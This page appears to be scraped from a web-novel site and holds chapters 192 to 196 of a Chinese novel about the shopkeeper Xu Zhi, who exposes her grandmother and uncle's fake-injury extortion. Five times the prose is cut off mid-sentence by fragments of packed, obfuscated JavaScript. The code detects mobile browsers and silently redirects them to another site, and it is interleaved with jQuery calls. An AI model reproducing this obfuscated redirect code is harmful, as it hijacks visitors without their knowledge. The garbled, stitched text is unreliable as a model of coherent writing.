d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198201|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 做生意的,谁希望真的到了对簿公堂的地步。 不说这事儿到底真不真,真的到了公堂之上,对铺子的名誉损伤的不是一星半点。 所以他胸有成竹等着许芷息事宁人的态度,到时候就是他肆意提条件的时候。 可他想象中,许芷低三下四的样子并未出现。 反而冷冷的看了他一眼,反问他:“你确定要报官?” 本来因为许芷没有害怕的样子,还有些没底气的许过年瞬间又支棱起来。 他觉得许芷不过是在虚张声势,故作镇定。 能问出这话证明她心里是忌惮报官的,这冷冷的样子也不过是被这麻烦事缠身之后的恼怒而已。 所以他极其肯定的告知许芷:“自然,我就是要报官,让世人都知道你这丫头心有多黑!” 说完他轻蔑的看着许芷冷笑一声,笃定她一定会低头和解。 “可以。” 许芷的声音刚出现,他的嘴角就止不住咧开,事要成了。 只是他还没高兴多久,就听到许芷的声音继续说道:“那就报官,我也想看看这到底是不是我们铺子的问题。” “什么?” 许过年惊诧不已,报官当然不可以。 娘身上的红肿都是假的,到时候进了府衙,人家一验便知,到时候还有什么余地商量。 他没想到许芷会同意,这丫头都不怕铺子受影响吗? “不行!” 他下意识反驳。 可这话刚说出口他就觉得不好,果真他听到许芷质问道: “你刚刚还坚定要报官,怎么我同意了,你偏偏又不愿意了。 难不成报官只是你用来威胁我们的手段?” “自然不是。” 许过年怎么都不能承认,他转了转眼珠说道:“我娘已然这么难受了,要是去了衙门,如此颠簸更严重了怎么办? 去了衙门,没有半日出不来,到时候我娘万一坚持不住,谁赔我亲娘? 你这丫头真是好算计,我愿意报官是我问心无愧。 可你却假意答应,拖延时间,简直是蛇蝎心肠。” 第192章 死无对证 听到许过年这无赖一般泼脏水的行为,许芷只觉得好笑。 很久没有人这么蠢的来挑衅她了。 这种话的离谱程度,当然让看热闹的人都觉出了不对。 可偏偏有些看不惯许芷生意好的人,在后面推波助澜的说道: “这可是一片孝心啊,当儿子的谁不能理解呢?” “许掌柜,你这可得好好给人家一个交代,我看这老太太如此严重,你可别真是存了死无对证的心思。” 此话一出,王茹娇立刻愤怒看过去,有几个鬼头鬼脑的看到她的目光立刻往人群后面躲。 她认得出,这是城里胭脂铺子的伙计。 因为自己家的膏沐和皂儿膏,胭脂铺子的生意少了些许。 但是也只是去买洗漱用品的人少了,胭脂水粉还是同样。 可他们依旧觉得不服气,认为许芷抢了他们的生意。 所以这会儿看到这里有情况,故意跑来搅混水。 王茹娇愤愤走上前,双手掐腰气势很,直接回怼。 “你哪只耳朵听到我们要死无对证了!你把话说清楚,不要以为躲在人群后面我就不知道你是谁! 敢说不敢认还算不算是个男人!” 胭脂铺子那几人也不怯,梗着脖子依旧闹。 “你这丫头好没道理,你们家的东西出了问题,你们掌柜的还不赶紧道歉解决,反而拖着不管,非要去官府,这是大家都听到了的。 还问我哪只耳朵听到了?我两只耳朵都听到了,不仅听到了,我还两只眼睛都看到了。” 这话说的王茹娇更生气,她深吸一口气准备继续跟他们理论。 却听到许芷声音淡淡开口。 “这好办,现在我出钱带着你娘去怀清堂看大夫。 看完之后**病也稳住了,也有了大夫的诊案,去了衙门报官岂不是更有理有据。” “那也不行!” 许过年急忙拒绝道。 他娘根本没病,要是去了岂不露馅? 许芷乘胜追击问道:“为何不行? 你说要报官,我同意了,但是你又以会耽误病程拒绝了。 那我说先去看病再去报官,医药费还都是我出,你怎么还是不同意? 难不成,这病是假的?所以不敢去医馆。” 说完她凌厉的眼神看过去,许过年心里一惊,有些没底气。 梗着脖子狡辩道:“什么是假的?我看你说这么多不过就是不想负责,不敢承认你们乾坤铺子的东西就是有问题。” 许芷嗤笑一声:“你这人真是不讲道理,你说报官我同意了。 你怕报官耽误病人病程,我就愿意拿钱先看病,看了病我仍旧愿意让官府介入,可你还是不愿。 你到底担不担心**病?既然我愿意出钱不应该先着急的去看病才对。” 王茹娇也双手环胸,走上前看透一切的对许过年说:“难不成这病是假的,所以才不敢去医馆?” “你这丫头胡说什么?” 许过年恶狠狠地盯着王茹娇怒吼。 看到他这样凶狠的样子,王金宝赶紧上前把许芷和王茹娇挡在自己的身后,防备看着他。 王茹娇并不怕他,她就不信这么多人看着许过年还真敢对自己做什么。 所以她冷笑一声开口道:“你这人想讹诈我们也不做全了准备,如今这破绽百出,还要坚持?” 如今有了许过年两次拒绝,再傻的人也明白到底是怎么回事。 围观的人都站在了许芷这边指责许过年娘俩。 “行了老太太,事已至此,谁还不清楚到底是怎么回事,您就别躺在地上装了。” “是啊,你儿子这讹别人都讹不清楚,再弄下去,小心人家反过来告你们讹诈就惨了。” “那感情好,我还是头一次见挖坑自己跳的。” 听着众人的风言冷语,许过年胸腔中的火都要压不住了。 看着周围人冷嘲热讽的样子,他只想愤怒就像是山洪,只想一泻千里,把这些人都淹没。 只是他还没开口说什么,手却被亲娘许老太抓住了。 他不明所以转过头,看向母亲,不明白她这是干什么。 这些人说话这么过分,为什么不让自己反驳。 只见许老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198202|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太泪眼婆娑看向众人,虚弱开口道:“是我这儿子关心则乱,见我出了事儿以为是用了这乾坤铺子的东西。 所以才不管不顾找了过来,他并未有讹诈之意。” 说着她重重咳了几声,那架势好像要把五脏六腑都咳出来一般。 这可怜的样子不免勾起了看热闹的众人的怜悯心,没了刚刚那嘲讽的样子。 许老太抬起头坚定地走向许芷,眼神中复杂的情绪,对上许芷平静的眼睛,闪过了一丝嫉恨。 许芷没错过,不明白她这是要做什么。 而王金宝也尽力挡在她的身前,不让许老太近身。 正当王茹娇要问一问许老太要干什么的时候,却见许老太弯下了腰,要跪在地上。 可是许过年眼疾手快拦住了母亲。 “娘!你这是干什么?” 许老太可怜兮兮开口跟许芷解释道:“丫头,对不住,是我儿子草率了。 我这不一定是用了你们铺子的皂儿膏所制,只是我儿子太担心我,所以才会如此,请你看在他的孝心份上,别跟他计较。 也放过我这个老婆子,别去官府告我们,我们这就走,不耽误你的生意。 我老婆子这贱命一条,自然不如你这做大生意的人金贵,你就高抬贵手,我们这就走。” 说着她竟挣脱了许过年的手,又要跪地跟许芷求饶。 许芷冷眼看着,心想这招漂亮啊,贬低自己把她架到火上,又用孝心把前后言行不一破绽颇多的许过年摘了出去。 说是跪自己,但实际上都是拿捏自己的手段,不过是仗着她这年龄让周围人帮自己说话。 果然她根本没跪下去,就有周边的人冲上前把她扶了起来。 也没了刚刚嘲讽母子俩的模样,反而站在他们那边真心实意为他们说话。 “老太太,你这是做什么,这么大年纪了,何必呢?” “这...虽说不清楚到底是怎么回事,可是老太太毕竟是用了铺子的东西之后变成这样,人家怀疑也正常吧。” “这么大年纪的人了,为了儿子竟是要下跪求人,真是看得人心里酸。” 第193章 局势逆转 听到大家的话语重新站到了他们母子俩这边,许老太暗暗冲儿子挑了下眉。 许过年看到心里有数,就刚刚娘打算跪下的瞬间他都想清楚了。 娘那么讨厌这丫头怎么可能跟这丫头跪下,长辈跪她,这丫头也配? 所以娘肯定是有自己的想法的,果然他冲上前去不过虚扶一下,娘瞬间承接住了。 假意被自己大力的拦住了,他就知道娘要出手了。 果然还是娘,不开口就算了,一开口立马扭转局势。 所以他也变了副模样,不再那样恼怒,而是换上了一副后怕和担心的沮丧模样。 “娘,是儿子没本事,不能为你讨回公道,甚至都不知道娘你为什么会变成这样,都是儿子无能啊。” 说着两人竟抱头痛哭起来。 王茹娇听憋了一肚子气没处发泄,现在的情况,她们说什么都是错,许老太已经以退为进把帽子扣在了他们的头上。 她着急地看着许芷,低声问道:“小芷,这怎么办啊?让他们说的咱们就是那用权势压人的恶人一般。” 许芷抬手放在了王茹娇的肩头,虽然已经是冬天穿上了夹袄。 可莫名的许芷的动作,让王茹娇感受到了手心的温热,这温热让她安心些许。 有许芷在,不管什么样的情况应当都是能解决的,她已经看好许芷。 许芷听着周围的议论声越来越大,镇定开口道:“我只再问一次,我愿意出钱带着老太太去医馆治病,你愿不愿意?” 看着两人毫无反应的还在痛哭,许芷继续补充道: “不管这病是不是因为我们铺子的皂儿膏引起的,这钱我都出了,若是,是我们的错,到时候我百倍赔偿你们买皂儿膏的钱。 若不是,这钱就当是买我们铺子的清白,你只说愿不愿?” 闻言,许老太止住了哭声,状似无意的问:“姑娘要带我去哪个医馆?是姑娘一直做生意的那个怀清堂吗?” 城里最好的医馆就是怀清堂,而且怀清堂看病从来都是最划算的,让所有人想许芷要是带她去看病,定然是去怀清堂。 可听到许老太这话,许芷跟那怀清堂关系那么好,难保那怀清堂不会站在她这边。 许过年也听出了母亲话里的意思,立刻尖声道: “咱们不去怀清堂,谁不知道这些有权有势的人都是一条绳上的蚂蚱,他们怎么可能替我们这小老百姓出头。 到时候不管我娘是不是因为你们铺子出的事儿,肯定他们都说不是,你这丫头说的还真不错,真是清白!” 买清白三个字咬的很重,意图明显。 王茹娇听着这两人胡说八道,心里又快急**,她频频看向许芷,想让她说些什么。 自己嘴笨说不准说什么不到位,反而被这两人抓住了把柄,反击回来就不好了。 可是许芷始终是那个淡然的样子,任由他们两个随便说。 并不急着反驳他们,听到周围的议论声,也好像没听到一般。 王茹娇轻轻地碰了下许芷的手背,轻声道:“小芷!” 许芷反握住她的手,让她别急。 因为买清白三个字,本来很多坚定站在许芷这边的人都动摇了。 他们用了这皂儿膏确实没事,可是也不能保证所有人用了都没事。 人跟人是不一样的,难保这皂儿膏里面的药性谁用了就对冲了。 出了这档子事儿,这当然不影响他们继续来买铺子的东西,毕竟他们用了确实没事。 可是许芷这处理态度确实让人有些不知道该怎么说。 这老太太都这样了,确实看着可怜。 所以他们劝许芷给钱消灾得了。 既然怎么做都不行,不如给了钱就这样了。 “凭什么?!” 王茹娇忍不住心直口快道:“万一他们这样尝到了甜头,日日都来,那我们次次都要吃这种亏吗?” 这话算是捅了马蜂窝,把本来还想为铺子说话的人都惹恼了。 “你这姑娘怎么说话呢?没看到这老太太都这样了,你竟然想的是钱的事儿,果真是做生意的。” “要不说无奸不商呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205126|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最坑人的也是最小气的。” 这话大家都纷纷认同,渐渐地对乾坤铺子的声讨就大声了很多。 看到自己说错了话的王茹娇直接急哭了,她哽咽着跟许芷解释自己不是那个意思。 许芷嗯了声,指腹擦去了她的眼泪,温声哄她说道:“我知道你是为了我好,先不哭,我们先把这事儿给解决了再说。” 王茹娇后悔极了,自己不该着急冒头。 本来大家只是可怜那母子俩,这下真成了他们铺子的错。 她忙擦了擦眼泪,安静站在了许芷的身后,不敢再多说话。 许芷抬手大声说道:“我知道大家心善,所以才会如此说话。 而且也都是为了我们乾坤铺子好,说到底大家对我们铺子的东西都很相信,所以才相信我们能妥善解决这件事。 只是事发突然,我们也有些措手不及,确实言语上有些不当,还请大家原谅,日后我们定然会更加注意言行的。” 说着她诚心道歉给众人鞠了一躬。 看到许芷为了自己这样低头,王茹娇的鼻尖酸到冲她眼泪直流。 她忙转过去擦着泪,不让许芷看到。 而其他人看到许芷这态度,因为王茹娇说错话而上头的情绪消散了不少。 他们也劝着许芷说道:“许掌柜,你这东西和您的为人,我们都清楚,只是这老太太着实可怜,你们可应该妥善处理。” 许芷闻言点了点头,说道:“既然这位...” 她想了想疏离的称呼道:“这位村民信不过我带他娘去医馆,其实说到底还是想要找个公道,看看是不是我们乾坤铺子的东西出了问题。 这件事我也想知道,我们的皂儿膏是不是有不足的地方。 所以我想请这位村民说一下买的是我们的哪一款皂儿膏,拿出来我们现场试一试,是不是我们这皂儿膏出了问题。 要不是我也管了你们的医药费,算是体恤你们千里迢迢找过来的辛苦费。 要是我千倍偿还你们皂膏的钱,并管了这位婆婆养老送终,绝不含糊。” 第194章 颠三倒四 许芷这话说完,在场的人都安静了下来。 若是谁家的铺子东西出了事儿,愿意赔偿是应该的。 但是像许芷这种愿意千倍赔偿的那可是太少见了,可以说根本没有。 甚至她还说了愿意为这老妇人养老送终,这可真是前所未闻。 从来没见过这样的掌柜,若是真的,哪还有什么不满意的。 这样想,好像许芷的态度一直挺好的,不管对方说什么都是配合。 若是对方不愿还能说出另外的解决办法,并没有完全推诿的意思。 刚刚他们也是被这老太太一哭一磕头给弄昏了头脑,光想着可怜这母子俩。 现在想想,许掌柜好像也没做错什么。 所以,好多本来就站在铺子这边的人又调转矛头指向了许过年母子俩。 “许掌柜这诚意可是没话说,你们母子俩赶紧说出那皂儿膏是哪一款。” “真没想到许掌柜竟然是这种情义中人,就冲许掌柜这话,不管今天是不是皂儿膏的问题,你们家的东西我都认准了。” “大娘,赶紧让你儿子说出来买的是哪一款吧,把事情解决了好让铺子正常开张,我们还想买东西呢。” 众人左一言右一语的催促着许过年,可他根本说不出用的是什么皂儿膏。 当时又不是他进去买的,拿回来光用了谁知道到底是什么? 所以他半天支支吾吾的说不出是什么,看着大家越来越怀疑的眼神,他破罐子破摔的说道: “我不知道那是什么名字,我买的时候随便指了个。” 许芷闻言依旧面色淡淡,继续说道:“不知道不要紧,我铺子里一共十几种,都拿出来你认认就行。 索性你们用过了,不可能连气味都不清楚吧?” 说着她看向王茹娇,轻轻点了点头。 王茹娇立刻心领神会,带着王金宝进了铺子搬出来了一张桌子,拿出了铺子里所有的皂儿膏。 摆好了之后,看向对方说道:“请这位客人辨认一下是哪个皂儿膏。” 许过年和许老太对视一眼,觉得这样也行,毕竟那东西他们用过了,多少记得气味。 所以许过年装出一副妥协的样子,不耐的说道:“那行吧,等我把那皂儿膏挑出来,你这丫头可别忘了自己说过的话。” 许芷微微勾唇,很是笃定的回答:“自然不会。” 听到许芷肯定的答案,许过年大步走到桌前,胸有成竹的看了看面前的十几款皂儿膏,还弯腰挨个闻了闻。 可越闻他心越沉,这油纸包着,他竟然闻不到任何气味。 真是稀奇,那皂儿膏明明他们拿到手里的时候,都能闻到淡淡的气味。 这就隔了层油纸怎么还闻不到了? 其他的人还在盯着他看,想看看他到底能不能选出来。 看到他半天都没选出来到底是哪一款,众人纷纷有些着急了,开口催促他。 “大兄弟,你都闻了半天了还没选出来?” “乾坤铺子的皂儿膏可是好认的很,每一款都不一样,你怎么会挑这么久?” 有些看好戏的,故意说道:“可别是忽悠人呢,所以根本看不出到底是哪一款?” “真是,这人说话颠三倒四的,说不准还真是故意讹诈乾坤铺子呢,要不然怎么会半天都找不到。” “没用过怎么会看出是哪一款,这母子俩可真招笑,怕是看到人家许掌柜挣了钱故意为之。” 许老太慌忙替儿子辩解道:“我儿子买回去是孝敬我的,他可没用,没闻出来也正常,我老婆子用了熟悉那味道,定然能闻出来。” 听到这话,许过年也顺坡下驴道:“没错,我又没用,闻不出来正常,我娘清楚,我这就搀扶她过来闻一闻。” 只是两个人还没走近,许芷挡在了身前。 许过年愣住,随即洞悉一切的轻笑出声。 “怎么?你这丫头心虚了,不敢让我娘上前去说出到底是什么皂儿膏?” “我确实不敢让你娘上前。” 许芷这话出来,周围的人面面相觑。 就连许过年和许老太都没想到她竟然认了。 许过年一下抓住了许芷的话里的漏洞,甚至因为急切,脸上挂上了不该有的得意一笑。 “哈哈,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205127|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这丫头被我抓住了吧,你不敢让我娘上前去看,是不是因为不敢承认你的东西有问题!” 许芷面对这质疑,只是神色淡淡的开口道:“并不是,而是——” 她的话还未说完,许过年急切的打断她。 “我就知道你这丫头的东西一定有问题,要是不敢让我们检查,你直接给我娘养老,千倍赔偿我的!” 许芷微不可查的叹了口气,心想自己想要完整的说句话可真难。 正准备开口把刚刚的话说完,却想到了什么,唇角勾了勾,挑眉道: “没什么,我就是确定一下你要让你娘上前去找皂儿膏是吗?” 许过年看傻子一样的眼神看过去,“不然呢?闪开!” 闻言,许芷让开让他们母子俩走过去。 而许老太上前也陷入了跟许过年一样的困境,她竟然闻不出到底是哪一块皂儿膏。 众目睽睽之下,她不好耗费太久。 心想这丫头肯定记不得所有来买皂儿膏的人都买的是哪个,她胡乱指一块不就行了。 这么想着,她假意闻了闻指着手边那一块说道:“就是这块!” 许芷看过去,问道:“确定吗?” “我当然确定了,就是这个东西我洗过之后身上才会成了这个样子,我当然记得是哪一个!” 许老太无比笃定的说着。 只见许芷走过去,拿起了她说的哪一块,打开了油纸之后,里面却并不是一块皂儿膏,而是一个模具。 许芷对着大家晃了晃手里的模具,状似不解的问道:“你确定你用的是这个?” 许老太看到许芷手里拿的木头模具,愣住了片刻,刚想说什么,却听到一边的王茹娇开口道: “是我拿错了,误把模具放了进去。” 说着,王茹娇走上前,把模具拿走了,对着许老太微笑道:“这下没有了,您再看看到底是哪一款啊?” 许老太吃了瘪,可她也不能发作,只能讪讪解释道:“一定是这模具之前装了我用的哪款,沾了气味,才扰乱了我老婆子。” 说着她重新弯下腰去找到底是哪一款。 第195章 一钱银子 这一次许老太有了之前的经验,她迅速的找到了一块,还上手捏了捏。 没有模具的空洞感,她笃定的开口道:“是这块!就是这块!” 众人闻言纷纷看过去,许芷淡定的上前打开了油纸。 这次里面确实装了一块皂儿膏。 而许老太和许过年看到不再是模具,瞬间松了口气。 许过年立马道:“没错,上次就是买的这块。” 旁边的许老太也开口跟着道:“就是这块,我儿心疼我想给我买一块皂儿膏试试,可没想到用了之后就成了这个样子。” 说着她又开始捂脸痛哭起来。 “我的命怎么这么苦啊,我的儿子赚钱不易,几日的工钱才能给我买这一块皂儿膏,结果还出了这档子事儿。” 她接着抬手擦泪的空隙,冲许芷投去了挑衅的目光。 许芷看到后,轻笑一声。 心想就这点本事是吧,那就看看他们能不能接住自己的话了。 许芷拿着皂儿膏开口问众人:“大家可认得这是哪款皂?” 离得近的人直接开口说:“这有啥不认得,这颜色这气味,一看就是桂花的。” 许芷点了点头肯定道:“没错,就是桂花的。 我这铺子里皂儿膏款式多,每一种都对应有适合的人群,这款皂儿膏尤其火爆,来买的都是年轻小姑娘。 就算不是小姑娘来买,也都是买去送给姑娘的,倒是没见过谁买了送给老娘的。” “你管得着吗?” 许过年闻言不忿气道:“我娘在我心里就是小姑娘,她就是最美的人,我买这个皂儿有什么不对吗?” “好,就算你买这皂儿是为着希望你娘更年轻一点,那你告诉我你买这皂儿花了多少钱?” 许芷继续问道。 许过年警惕的看向许芷,回答道:“自然是五十八文钱,你这东西竟要六十五文,我没那么多钱,试着还了价,你们伙计同意了。” 说完,许过年心里庆幸,当时跟李远那家伙问的细致,要不然自己今天还真回答不出来。 而等他说完之后,还没等许芷说话。 周围看热闹的人已经觉得不对,他们开口反问道:“这桂花皂儿一块可要一钱银子,哪是他说的六十五文啊。” “是啊,六十五文的是那绿豆消暑皂儿啊。” 听到周围人的话,许过年心里一窒,他没想到这皂儿膏竟然各有各的价格。 许芷的皂儿膏刚上来确实没有那么贵。 但是后面她又调整了方子,在几款皂里放进了更加珍贵的东西,所以价钱就提高了。 尤其是卖的最好的这个桂花皂。 很多姑娘来买的时候,已经不满足于只是洗干净并留香。 还希望能有美容养颜的功效。 所以许芷在桂花皂里放了珍珠粉和牛乳,这都是贵东西,尤其是珍珠粉。 所以桂花皂的价格就提高了不少。 不过还是有普通版的桂花皂。 可偏偏许老太选中的这块不是普通版的,而是加了牛乳和珍珠粉的。 许过年一听他慌忙否认道:“不是,我记错了,就是一钱银子,只是我讲了价而已。” 他这个样子落在大家伙眼中,不过是死鸭子嘴硬而已, 看了这么久的戏了,他说话前后颠倒,谁还能信他? 看着众人不信的眼神,他算是知道了什么让他们找皂儿,分明是借机故意羞辱他们的。 也是他跟娘大意了,根本不清楚这铺子里的皂儿不是一个价钱,竟然就这么掉入了这丫头的陷阱里。 许过年愤恨的看向许芷,他生气道:“你就是故意的!” 许芷故作不解的眼神看过去。 “什么故意的?皂儿是你自己选的,价钱也是你自己说的,我可没多一句嘴。 找皂儿这事儿你们母子俩也是同意的,这会儿又说我是故意的。 总不能每一次你说的话被打了脸,都是我的错吧?” 这有理有据的反问瞬间让周围的人哄笑一堂。 “我发现许掌柜这话说的真没错,每次许掌柜有理有据的拆穿了他的话,他竟然都能怪到许掌柜的头上。” “看来是某些人想讹人没成功啊!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210305|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许掌柜人这么好,从来都是笑呵呵开门做生意,怎么会有人来讹她?” “就是啊,许掌柜从前那汤药可帮我们大忙了,我可没见有谁跟她结仇的。” 众人这么一分析,竟然分析到了城里的胭脂铺子。 觉得一定是胭脂铺子的人故意找了这两人来拆台的。 那几个胭脂铺子来看热闹的伙计,一听火烧到了自己身上,连忙否认。 可不管他们怎么说都没人信。 而许过年和许老太见没人注意他们俩,两人悄默声的想要退出人群赶紧走。 王金宝一下看穿了两人的企图,直接一个箭步挡在了二人的身后。 噙着坏笑问道:“二位这是要去哪啊?” 许过年机灵一个转身立马溜了出去,一边跑一边说道:“娘,儿子先走了,你一定会没事的!” 而许老太动作迟缓,又被王金宝抓住了衣领子,怎么都跑不掉了。 正当所有人都把矛头指向城里的胭脂铺子时。 一个双羊村的人走过,看到了这里这么热闹,问了问咋回事。 一听事情经过,居然跟许芷有关。 许芷现在可是几个村的人口中的大人物,他想上前去看看是谁胆子这么大来讹诈呢。 这不看不要紧,一看竟然是许老太。 他也听到了大家认为是胭脂铺子搞的鬼。 立马大声澄清道:“不对不对,这是上坪村许家的许老太,我认得,跟人家胭脂铺子没关系。” 他这话说出口,旁人都不信,问道:“就算你认识人家,也不代表这人不是胭脂铺子找来的吧?” 那人哎呀一声,忙解释道:“这人是许丫头的亲奶奶,许丫头亲娘**后,她们为了给儿子再娶一个,觉得这孩子累赘,硬是丢到了这孩子的姥姥家。 十几年不闻不问,这会儿听说许丫头赚了钱,故意来搅局的。 前一阵也是他们故意在我们那村子散播流言,让许丫头那药田差点出了事儿。 说白了,他们不过是眼红许丫头赚钱,自己没花到,所以故意做出这些事儿,想让许丫头赚不到钱!” 第196章 送货到家 这人因为急切的想要证明自己知道,可又说出了许丫头的身世之谜。 说完他才觉得自己多了嘴,怎么能大庭广众之下说出许丫头是被亲爹丢了的人呢。 都说家丑不可外扬,自己把许丫头的事儿抖了个干净,这可咋办。 他说完,也不等众人的反应,赶紧跑了。 而听到这人的解释,众人看向许老太的眼神就更加微妙。 许老太只觉得自己抬不起头了。 这事儿说出去太丢人了。 “啊,我说呢,这俩人死咬着许掌柜不放,原来是有这一层关系。” “真是黑了心肝了,都丢了许掌柜,现在怎么好意思来,还做出这种事儿。” “果然是最毒妇人心啊,这老太太竟是这种蛇蝎心肠之人,枉我刚刚还帮她说话,真是被她那样子给骗到了。” “谁不是呢,许掌柜可真可怜,小时候被丢了,长大了亲奶奶又做出这种事儿来捣乱,真让人心疼啊。” 在大家的议论声中,王茹娇紧紧握住了许芷的手。 “小芷......” 许芷微微摇了摇头,朝她投去了一个安心的眼神。 她上前一步,看着众人,不卑不亢道:“抱歉耽误大家时间了,现在事情已经解决了,想在铺子买东西的可以进去了。 今日所有来铺子里买东西的让两成。” 本来还在议论纷纷的人,听到许芷这话,都不再说话了,赶紧冲进去买东西。 许芷给了王茹娇和刘喜英她们一个眼神,两人立刻进了铺子开始招呼大家。 而人群散去之后,许芷缓步走上前,看着王金宝抓着的许老太。 此时她已经没有了刚刚那装出来的可怜样子,看向许芷的眼神好像淬了毒。 “当初就不该送你回下坪村,应当直接把你在河里溺死!” 许老太咬牙切齿地说着。 听到这话王金宝生气不已,他瞪着眼生气道:“你这老太婆都这样了还不老实。 我们掌柜的不恨你是她大度,你竟然还敢来她面前蹦跶。 你这恶毒婆子,真是可恨,小心说这种话反噬在自己身上。 我的掌柜的人这么好,定然会长命百岁,而你这种恶婆子说不定哪一日摔进个小水坑都交代在那了!” 王金宝这话说的格外泄愤,说完他自觉畅快不少。 而许老太听到这话并没有王金宝想象中的愤怒,因为她的怒火全在许芷的身上。 对他说的话充耳不闻。 她的眼紧盯着许芷,如果眼神能当做武器的话,只怕是许芷早已经被她射得千疮百孔。 只是任她的目光多么犀利,对面的许芷都面不改色。 淡淡的眼神看过去,好似对面只是什么陌生人。 这样的眼神跟当初看她的亲生父亲许富年没什么区别。 只是这眼神伤得到许富年,伤不到许老太。 她呸的一声,许芷迅速后撤,没有沾到那恶心的口水。 许老太哼笑一声:“你这丫头就不该托生到我许家门,真真是晦气。” 许芷淡然开口:“我也觉得晦气,送到官府吧。” 说完她转身回了铺子。 王金宝听到许芷的话,利索地答应,抓着人就要送到官府去。 而许老太没想到许芷竟然跟她没什么纠缠,直接就送到了官府。 这可太丢人了,她这么大年纪了,就算是送到官府也怎么不了自己。 但是这事儿传到村里实在是太晦气了。 路上她找机会想要跑,可是她一个老婆子怎么能挣脱得过王金宝这个壮汉。 眼看着就要到了官府,突然王金宝被人从背后撞了一下,手松了劲儿,再回过神许老太已经被人拽着跑走了。 他想追却被人群给冲散开了,只能作罢回了乾坤铺子。 王金宝回到铺子,跟许芷说了情况。 许芷点点头说知道了,并未有什么反应。 她知道就算真的把人送进了官府,县令也不想管这种事。 说白了这就是家务事。 俗话说得好,清官难断家务事。 而许老太这般年纪,又是难缠的性子,县令巴不得赶紧把人赶走,怎么会想要管。 她说是把人送到府衙,只是在警告对方罢了。 许芷实在是不想浪费时间在许老太的身上,铺子里还有这么多事儿要忙。 她也不怕对方再来找事儿,这一次他们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210306|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能得逞,之后也不可能的。 只是抬眼看到王金宝眼神里的悔愧,许芷安慰地开口说道:“没事王大哥,你别在意,我本也没指望这人进了官府能受到惩罚。” 王金宝蔫儿着哎了声,赶紧去铺子里帮忙。 许芷的乾坤铺子并没有因为这件事而受到任何影响,反而因为许芷的身世公开,大家对许芷的好感更高了。 乾坤铺子的生意达到了前所未有的高度。 许芷几人恶狠狠的忙了一阵,甚至忙到来不及吃喝。 还是邓耧子和邓老太都来了,才勉强忙得过来。 邓老太不做别的事儿,就给他们做饭。 偶尔在他们真的忙不过来的时候,进前厅稍微帮忙揽客。 而过了几日,许芷忙得焦头烂额。 她顺势提出了送货服务。 若是不急的,只管写了需要的东西和家里的地址,交了钱便不必再管。 许芷安排了王金宝和邓耧子两人跑腿送货。 这样店里的人一下就少了许多,不必再排队等待。 要是不知道买什么的,许芷甚至专门写了张单子,将铺子里有的东西都写上去。 抄录了上千份,发进了每一户。 因为他们提供这种送货的服务,离得近的人家也想了办法团结起来。 一条街的,大家都写到一张纸上,派出去个人去送。 这样更加省时省事儿省人。 如此许芷的铺子才算是慢慢的松快了。 